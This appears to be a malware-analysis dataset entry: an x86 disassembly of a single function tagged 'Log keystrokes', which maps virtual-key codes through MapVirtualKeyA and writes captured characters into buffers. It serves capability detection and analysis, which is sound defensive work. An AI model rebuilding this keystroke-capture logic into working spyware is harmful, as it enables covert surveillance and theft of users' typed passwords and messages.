Function at 0x4186a9
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jne 0x4187ec
mov eax, 0x4b0889
test eax, eax
je 0x4186df
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00487dde
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4186f0
push ebx
call fcn.00487dd8
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
call fcn.00401255
mov eax, 2
cmp eax, ecx
jl 0x418712
push 1
call fcn.00487de4
add esp, 4
add ebx, eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], esp
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x41873e
push 6
call fcn.00487de4
add esp, 4
mov ebx, dword [ebp - 8]
mov byte [ebx], al
push 0
push 0
push 0
push 0x80000301
push 0
push 3
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x418768
mov eax, 0x4b019e
push eax
push 3
mov ebx, 0x19c
call fcn.00489a40
add esp, 0x28
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cmp ecx, 0x80000101
jne 0x41879c
and eax, 0xff
jmp 0x4187e7
cmp ecx, 0x80000201
jne 0x4187a7
cwde
jmp 0x4187e7
cmp ecx, 0x80000301
je 0x4187e7
cmp ecx, 0x80000401
je 0x4187e7
mov dword [ebp - 0x18], eax
cmp ecx, 0x80000501
je 0x4187d7
cmp ecx, 0x80000601
je 0x4187dc
push 2
call fcn.00487de4
add esp, 4
fld dword [ebp - 0x18]
jmp 0x4187e2
mov dword [ebp - 0x14], edx
fld qword [ebp - 0x18]
call fcn.00401275
jmp 0x418a50
cmp dword [ebp + 0xc], 0
je 0x41886c
cmp dword [ebp + 8], 0x12
jne 0x418836
mov eax, 0x4b0889
test eax, eax
je 0x41881c
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00487dde
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x41882d
push ebx
call fcn.00487dd8
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x418867
mov eax, 0x4b0895
test eax, eax
je 0x418852
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00487dde
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x418863
push ebx
call fcn.00487dd8
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x41889d
mov eax, 0x4b08a1
test eax, eax
je 0x418888
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.00487dde
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x418899
push ebx
call fcn.00487dd8
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0x21
jl 0x4188b8
cmp dword [ebp + 8], 0x2f
jg 0x4188b8
mov eax, 1
jmp 0x4188ba
xor eax, eax
test eax, eax
je 0x4188ea
mov ebx, dword [ebp - 4]
call fcn.00401255
mov eax, 3
cmp eax, ecx
jl 0x4188e0
push 1
call fcn.00487de4
add esp, 4
add ebx, eax
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
inc byte [ebx]
cmp dword [ebp + 8], 0x5b
je 0x418923
cmp dword [ebp + 8], 0x5c
je 0x418923
cmp dword [ebp + 8], 0x5d
je 0x418923
cmp dword [ebp + 8], 0x6f
je 0x418923
cmp dword [ebp + 8], 0x90
je 0x418923
xor eax, eax
jmp 0x418928
mov eax, 1
test eax, eax
je 0x418958
mov ebx, dword [ebp - 4]
call fcn.00401255
mov eax, 3
cmp eax, ecx
jl 0x41894e
push 1
call fcn.00487de4
add esp, 4
add ebx, eax
mov dword [ebp - 8], ebx
mov ebx, dword [ebp - 8]
inc byte [ebx]
mov ebx, dword [ebp - 4]
call fcn.00401255
mov eax, 2
cmp eax, ecx
jl 0x418976
push 1
call fcn.00487de4
add esp, 4
add ebx, eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], esp
push 0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4189a2
push 6
call fcn.00487de4
add esp, 4
mov ebx, dword [ebp - 8]
mov byte [ebx], al
push 0
push 0
push 0
push 0x80000301
push 0
push 3
push 0x80000005
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4189cc
mov eax, 0x4b019e
push eax
push 3
mov ebx, 0x19c
call fcn.00489a40
add esp, 0x28
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cmp ecx, 0x80000101
jne 0x418a00
and eax, 0xff
jmp 0x418a4b
cmp ecx, 0x80000201
jne 0x418a0b
cwde
jmp 0x418a4b
cmp ecx, 0x80000301
je 0x418a4b
cmp ecx, 0x80000401
je 0x418a4b
mov dword [ebp - 0x18], eax
cmp ecx, 0x80000501
je 0x418a3b
cmp ecx, 0x80000601
je 0x418a40
push 2
call fcn.00487de4
add esp, 4
fld dword [ebp - 0x18]
jmp 0x418a46
mov dword [ebp - 0x14], edx
fld qword [ebp - 0x18]
call fcn.00401275
jmp 0x418a50
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x418a61
push ebx
call fcn.00487dd8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0xc